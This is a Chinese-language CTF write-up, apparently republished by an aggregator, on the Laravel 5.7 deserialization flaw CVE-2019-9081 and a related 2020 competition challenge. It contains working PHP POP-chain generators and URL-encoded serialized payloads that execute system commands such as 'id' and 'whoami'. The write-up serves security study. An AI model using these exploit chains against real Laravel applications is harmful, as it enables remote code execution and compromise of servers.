36

Laravel 5.7反序列化漏洞(CVE-2019-9081+2020第五空间题解)

 3 years ago
source link: http://zeroyu.xyz/2020/06/28/Laravel-5-7反序列化漏洞-CVE-2019-9081-2020第五空间题解/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

前天第五空间的时候5am3问我还会搞Laravel不。半年没打CTF了,真的是淡忘了很多,再加上当时牙疼到看着代码发蒙,所以题目中的链就给错过了。比赛之后复习了一下笔记:ledger:。整合了其它笔记的内容,形成了这篇文章。

PS: 反序列化漏洞POP链是我当时最喜欢搞得,没想到这知识忘得真的快啊。

0x01 判断题目环境的版本

❯ php artisan
Laravel Framework 5.7.28

0x02 设置对应的入口点

入口URL

GET /index.php/index?p=

与入口点相关的文件:

  1. 路由文件 routes/web.php

    Route::get('/index', 'TaskController@index');
    
  2. 反序列化的入口点 app/Http/Controllers/TaskController.php

    <?php
    namespace App\Http\Controllers;
    class TaskController
    {
     public function index(){
    	 if(isset($_GET['p'])){
    		 unserialize($_GET['p']);
    	 }
     return "There is an param names p (get)";
     }
    }
    ?>
    

0x03 本地环境搭建

两种环境搭建方案

A.本地环境配置

操作系统:macOS

PHP版本:7.3.11

composer create-project laravel/laravel laravel57mac "5.7.*"
cd laravel57mac
php artisan serve --host=0.0.0.0 --port 8081

B.虚拟机环境配置

具体的环境配置过程参考: 官方链接

虚拟环境的操作:

# 虚拟机的启动
cd ~/Homestead && vagrant up
# ssh登录虚拟机
cd ~/Homestead && vagrant ssh
# ssh上去之后可以使用如下命令退出
exit
# 关闭 Homestead
vagrant halt
# 虚拟机删除
vagrant destroy --force
# 修改Homestead.yaml配置文件重新加载
cd ~/Homestead && vagrant up # 如果虚拟机是开启的则不需要执行这个命令
vagrant provision

xdebug远程调试

#开启xdebug
sudo phpenmod xdebug
#关闭xdebug
sudo phpdismod xdebug
#客户端调试脚本
xphp path/to/script
#xdebug的配置文件修改
/etc/php/7.#/fpm/conf.d/20-xdebug.ini

web服务器切换(ngnix和apache)

flip

0x04 CVE-2019-9081

影响版本:Laravel v5.7

漏洞核心: Illuminate/Foundation/Testing/PendingCommand 类中的 __destruct 方法中调用了 run 方法,而 run 方法是用来 Execute the command 的。因此需要找到对应的POP链来完成RCE。

首先看一下 PendingCommand 类中的几个重要属性:

Z4j59vhtFQDcy3U.png

其次看一下关键的 run 方法,这其中有两个位置的代码比较关键。一个是与代码执行直接相关的,另外一个是与到达代码执行位置相关的方法 mockConsoleOutput 。我们必须保证方法 mockConsoleOutput 可以正常执行完毕。

by7fIQELspNUPJt.png

所有接下来就看一下 mockConsoleOutput 方法。由于程序可以正常执行到166行的位置,所以对162行的代码就不需要进行进一步的分析。

YgOF1ZjoGQC72qx.png

分析的关键在于166行的的属性遍历。要控制这个数组我们只需要找到一个 public function __get 魔术方法就好了。一搜一大把,这里我们选择 Faker/DefaultGenerator 类中的。

8Smulv4HJPdDk5s.png

到这里为止我们先写一个PoC来进行动态分析一下

<?php
namespace Illuminate\Foundation\Testing {
    class PendingCommand
    {
        public $test;
        protected $app;
        protected $command;
        protected $parameters;

        public function __construct($test, $app, $command, $parameters)
        {
            $this->test = $test;
            $this->app = $app;
            $this->command = $command;
            $this->parameters = $parameters;
        }
    }
}

namespace Faker {
    class DefaultGenerator
    {
        protected $default;

        public function __construct($default = null)
        {
            $this->default = $default;
        }
    }
}

namespace Illuminate\Foundation {
    class Application
    {
        public function __construct()
        {}
    }
}

namespace {
    $defaultgenerator = new Faker\DefaultGenerator(array("1" => "1"));
    $application = new Illuminate\Foundation\Application();
    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('id'));
    echo urlencode(serialize($pendingcommand));
}

执行之后的结果

O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A4%3A%22test%22%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00default%22%3Ba%3A1%3A%7Bi%3A1%3Bs%3A1%3A%221%22%3B%7D%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A0%3A%7B%7Ds%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A2%3A%22id%22%3B%7D%7D

此时可以看到已经成功过了 vendor/laravel/framework/src/Illuminate/Foundation/Testing/PendingCommand.php 中的第166行的代码

8nlj2XRaBCysz4v.png

可以到达关键的136行代码处。

26UT9BshukNJHCi.png

但是再往下走的程序就会抛出异常,所以要对136处的代码进行详细的分析。

yGaVL2c6vEtHgj5.png

这种链式调用不太好看变量中的内容,所以我在136行之前补充几行代码

$kclass = Kernel::class;
$app = $this->app[Kernel::class];

动态调试的过程中可以看到 Kernel::class 中的值是 Illuminate\Contracts\Console\Kernel 。而对应的 $app = $this->app[Kernel::class]; 代码在执行时会抛出异常,所以我们要跟进这个部分。继续跟进之后到达 vendor/laravel/framework/src/Illuminate/Container/Container.php 文件中。我在动态分析的时候发现 Illuminate\Container\Container 类中调用的是 Illuminate\Container\BoundMethodcall 静态方法。还有别忘了 Illuminate\Foundation\Application 类继承的是 Illuminate\Container\Container 类的call方法。所以我们要继续往下跟。

GSDoW6CO7ju5FRw.png

继续跟进之后可以看到一个关键函数 call_user_func_array 。继续跟进 getMethodDependencies 函数。该函数返回的是 $dependencies 数组和 $parameters 的合并数据,其中 $dependencies 默认为空数组,而 $parameters 为可控数据。

rymOvWD8LYzs4Kk.png

再加上此处 $callback 的值就是我们可控的值 system ,因此此处的实际形式为 call_user_func_array(可控数据,可控数据) ,可以构成任意代码执行。最终构造的POP链如下:

<?php
namespace Illuminate\Foundation\Testing {
    class PendingCommand
    {
        public $test;
        protected $app;
        protected $command;
        protected $parameters;

        public function __construct($test, $app, $command, $parameters)
        {
            $this->test = $test;
            $this->app = $app;
            $this->command = $command;
            $this->parameters = $parameters;
        }
    }
}

namespace Faker {
    class DefaultGenerator
    {
        protected $default;

        public function __construct($default = null)
        {
            $this->default = $default;
        }
    }
}

namespace Illuminate\Foundation{
    class Application{
        protected $instances = [];

        public function __construct($instances = [])
        {
            $this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
        }
    }
}

namespace{
    $defaultgenerator = new Faker\DefaultGenerator(array("1" => "1"));
    $app = new Illuminate\Foundation\Application();
    $application = new Illuminate\Foundation\Application($app);
    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('id'));
    echo urlencode(serialize($pendingcommand));
}

?>

EXP

O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A4%3A%22test%22%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00default%22%3Ba%3A1%3A%7Bi%3A1%3Bs%3A1%3A%221%22%3B%7D%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00instances%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00instances%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A0%3A%7B%7D%7D%7D%7D%7Ds%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A2%3A%22id%22%3B%7D%7D

4vfwJAILg7Trt3X.jpg

0x05 CVE-2019-9081的参考链接

  1. Laravel5.7反序列化漏洞之RCE链挖掘
  2. 代码审计之CVE-2019-9081 Laravel5.7 反序列化 RCE复现分析
  3. laravelv5.7反序列化rce(CVE-2019-9081)

0x06 第五空间–laravel

Diff一下的发现其实题目中所做的修改仅仅是删除了 vendor/laravel/framework/src/Illuminate/Foundation/Testing/PendingCommand.php 文件中的 $this->run(); 这一行代码。没有这个调用点,那我们的思路就是在其中找一个 call_user_func 来执行 Illuminate/Foundation/Testing/PendingCommand 类中的 run 方法。

BZt24oINVxg36iz.png

此处我们使用 vendor/fzaninotto/faker/src/Faker/ValidGenerator.php 文件中的 call_user_func 函数来完成对 run 的调用

PnVRAUZWHGxfi27.png

这个思路其实并不是新的,PHPGGC当中就经常只用这个点,因为 ValidGenerator 类中的 __call 比较好利用,而其中又包含了 call_user_func_arraycall_user_func 。所以结合这个点很容易就构造出下面这个Exp。具体的不在多写,如果有不清楚的可以看后面的参考链接。

<?php
// Exp来自chamd5 wp
//gadgets.php
namespace Illuminate\Foundation\Testing {
    class PendingCommand
    {
        protected $command;
        protected $parameters;
        protected $app;
        public $test;

        public function __construct($command, $parameters, $class, $app)
        {
            $this->command = $command;
            $this->parameters = $parameters;
            $this->test = $class;
            $this->app = $app;
        }
    }
}

namespace Illuminate\Auth {
    class GenericUser
    {
        protected $attributes;
        public function __construct(array $attributes)
        {
            $this->attributes = $attributes;
        }
    }
}

namespace Illuminate\Foundation {
    class Application
    {
        protected $hasBeenBootstrapped = false;
        protected $bindings;

        public function __construct($bind)
        {
            $this->bindings = $bind;
        }
    }
}

namespace Symfony\Component\Routing\Loader\Configurator {
    class CollectionConfigurator
    {
        public $parent;
        public $collection;
        public $prefixes;

        public function __construct($parent)
        {
            $this->prefixes = 1;
            $this->parent = $parent;
            $this->collection = new \Symfony\Component\Routing\RouteCollection(array("12end" => "12end"));
        }
    }
}

namespace Faker {
    class ValidGenerator
    {
        protected $generator;
        protected $validator;
        protected $maxRetries;

        public function __construct($validator)
        {
            $this->generator = new \Symfony\Component\Routing\RouteCollection(array("12end" => "12end"));
            $this->validator = $validator;
            $this->maxRetries = 10;
        }
    }
}

namespace Symfony\Component\Routing {
    class RouteCollection
    {

    }
}
<?php
//chain.php
include "gadgets.php";

$payload = new Illuminate\Foundation\Testing\PendingCommand(
    "system", array('whoami'),
    new Illuminate\Auth\GenericUser(array("expectedOutput" => array("0" => "1"), "expectedQuestions" => array("0" => "1"))),
    new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel" => array("concrete" => "Illuminate\Foundation\Application")))
);

$a = new Faker\ValidGenerator(array($payload, "run"));
echo urlencode(serialize(new Symfony\Component\Routing\Loader\Configurator\CollectionConfigurator($a)));

RErawMfy9oPpqBS.png

0x07 第五空间laravel题解参考

  1. 第五空间-WriteUp
  2. PHP反序列化入门之寻找POP链(一)
  3. Code-breaking Puzzles 2018 Note–lumenserial

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK